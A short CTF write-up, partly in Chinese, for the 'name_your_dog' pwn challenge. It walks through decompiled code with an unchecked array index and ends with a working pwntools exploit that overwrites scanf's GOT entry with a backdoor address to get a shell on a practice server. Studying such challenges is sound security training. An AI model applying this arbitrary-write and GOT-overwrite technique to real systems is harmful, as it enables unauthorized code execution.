wustctf2020_name_your_dog

checksec：

 main:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  init();
  vulnerable();
  return 0;
}

vulnerable:

int vulnerable()
{
  int result; // eax
  int v1; // ST1C_4
  signed int i; // [esp+8h] [ebp-10h]

  result = puts("I bought you five male dogs.Name for them?");
  for ( i = 1; i <= 5; ++i )
  {
    v1 = NameWhich((int)&Dogs);
    printf("You get %d dogs!!!!!!
Whatever , the author prefers cats ^.^
", i);
    result = printf("His name is:%s

", 8 * v1 + 0x804A060);
  }
  return result;
}

NameWhich:

int __cdecl NameWhich(int a1)
{
  int v2; // [esp+18h] [ebp-10h]
  unsigned int v3; // [esp+1Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  printf("Name for which?
>");
  __isoc99_scanf("%d", &v2);
  printf("Give your name plz: ");
  __isoc99_scanf("%7s", 8 * v2 + a1);
  return v2;
}

NameWhich存在明显的漏洞，可以通过v2的值进行任意写。题目提供了后门函数

 我们不能通过修改返回地址getshell，因为无法获得栈地址。只有部分RELRO，所以可以通过修改got表getshell

下图是v2值对应的got表内的函数

 scanf@got=(0804A028 -  0804A060)/ 8 = -7

一开始尝试的是puts，失败了。之后改成scanf就成功了

exp:

#!/usr/bin/python
#coding:utf-8
from pwn import *
from struct import pack
a=remote("node3.buuoj.cn",27613)
#a=process("/root/wustctf")
#g=gdb.debug('/root/2018')
#libc=ELF("/root/libc-2.23.so")

elf=ELF("/root/judge")
context(os='linux',arch="i386",log_level='debug')

a.sendline("-7")
a.sendline(p32(0x80485cb))
#gdb.attach(a)
a.interactive()